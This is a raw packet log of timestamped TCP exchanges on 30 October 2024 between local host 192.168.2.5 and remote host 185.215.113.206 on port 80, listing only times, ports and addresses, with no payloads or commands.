Oct 30, 2024 23:11:15.959000111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.959038973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.959074020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.959114075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.959199905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.959212065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.959243059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.959260941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.959372997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.959413052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.959968090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.960007906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.960043907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.960057020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.960081100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.960095882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.000024080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.000076056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.000078917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.000092983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.000129938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.000129938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.000240088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.000252008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.000271082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.000293970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.000293970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.000327110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.000926971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.000969887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.001004934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.001015902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.001040936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.001071930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.001173973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.001220942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.001693010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.001743078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.041502953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.041528940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.041546106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.041584015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.041618109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.076667070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.076710939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.076725006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.076781988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.076822996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.076844931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.076891899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.077028990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.077076912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.077101946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.077114105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.077140093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.077177048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.077243090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.077290058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.077836990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.077869892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.077886105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.077939987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.117778063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.117845058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.117851973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.117857933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.117896080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.117994070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.118042946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.118077040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.118093014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.118127108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.118127108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.118469954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.118530035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.118571043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.118582964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.118616104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.118648052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.118721962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.118762970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.119267941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.119333982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.119350910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.119363070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.119396925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.119429111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.119486094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.119533062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.159276962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.159327984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.159334898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.159347057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.159373999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.159395933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.194719076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.194780111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.194791079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.194847107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.194883108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.194957972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.194968939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.195027113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.195027113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.195101023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.195144892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.195219994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.195230961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.195259094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.195291042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.195394993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.195409060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.195440054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.195487022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.235687971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.235717058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.235760927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.235764980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.235764980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.235807896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.235837936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.235852957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.235888004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.235888004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.236032963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.236046076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.236078024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.236109972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.236659050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.236704111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.236752987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.236763954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.236814976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.236814976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.236896992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.236944914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.237334967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.237385035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.237418890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.237430096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.237462044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.237462997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.277086973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.277102947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.277153969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.277199030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.277216911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.277252913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.277282953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.312618017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.312650919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.312663078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.312730074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.312767982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.312786102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.312824011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.312911987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.312925100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.312963009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.312963963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.313102961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.313114882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.313157082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.313690901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.313743114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.313766956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.313777924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.313817978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.353674889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.353720903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.353738070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.353761911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.353780031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.353876114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.353926897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.353950024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.353956938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.353966951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.353986979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.354008913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.354343891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.354372978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.354388952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.354389906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.354413986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.354435921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.354585886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.354600906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.354629040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.354644060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.355166912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.355212927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.355257988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.355273008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.355303049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.355324984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.355443001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.355458021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.355488062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.355504990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.395229101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.395262957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.395277977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.395355940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.395355940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.430531025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.430571079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.430584908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.430677891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.430686951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.430686951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.430700064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.430737019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.430768967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.430850983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.430866957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.430907965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.430907965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.431334019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.431381941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.431390047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.431406021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.431440115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.431472063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.471565008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.471600056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.471615076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.471681118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.471681118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.471756935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.471800089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.471807957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.471860886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.471924067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.471971035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.472055912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.472071886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.472109079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.472160101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.472412109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.472465992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.472490072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.472506046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.472533941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.472567081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.472670078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.472686052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.472727060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.472728014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.473247051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.473315954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.473330021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.473345995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.473377943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.473407984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.473567009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.473582983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.473623991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.473623991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.512908936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.512954950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.512970924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.513000011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.513047934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.548332930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.548382044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.548414946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.548454046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.548466921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.548470020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.548479080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.548522949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.548716068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.548758984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.548763990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.548804045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.548907995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.548949957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.548975945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.548990011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.549026012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.549043894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.589389086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.589447975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.589452028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.589495897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.589497089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.589550018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.589576006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.589639902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.589660883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.589679003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.589709044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.589740992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.589854956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.589873075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.589905977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.589905977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.590267897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.590316057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.590363979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.590380907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.590408087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.590439081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.590519905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.590564966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.590836048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.590894938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.590895891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.590909958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.590939045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.590964079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.591099977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.591114998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.591161013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.591161013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.591222048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.591262102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.591717958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.591766119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.591875076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.591890097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.591926098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.591926098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.630814075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.630896091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.630909920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.630924940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.630964041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.630964041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.666220903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.666255951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.666284084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.666315079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.666316032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.666418076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.666431904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:16.666457891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.666507959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:16.666559935 CET	80	49704	185.215.113.206	192.168.2.5
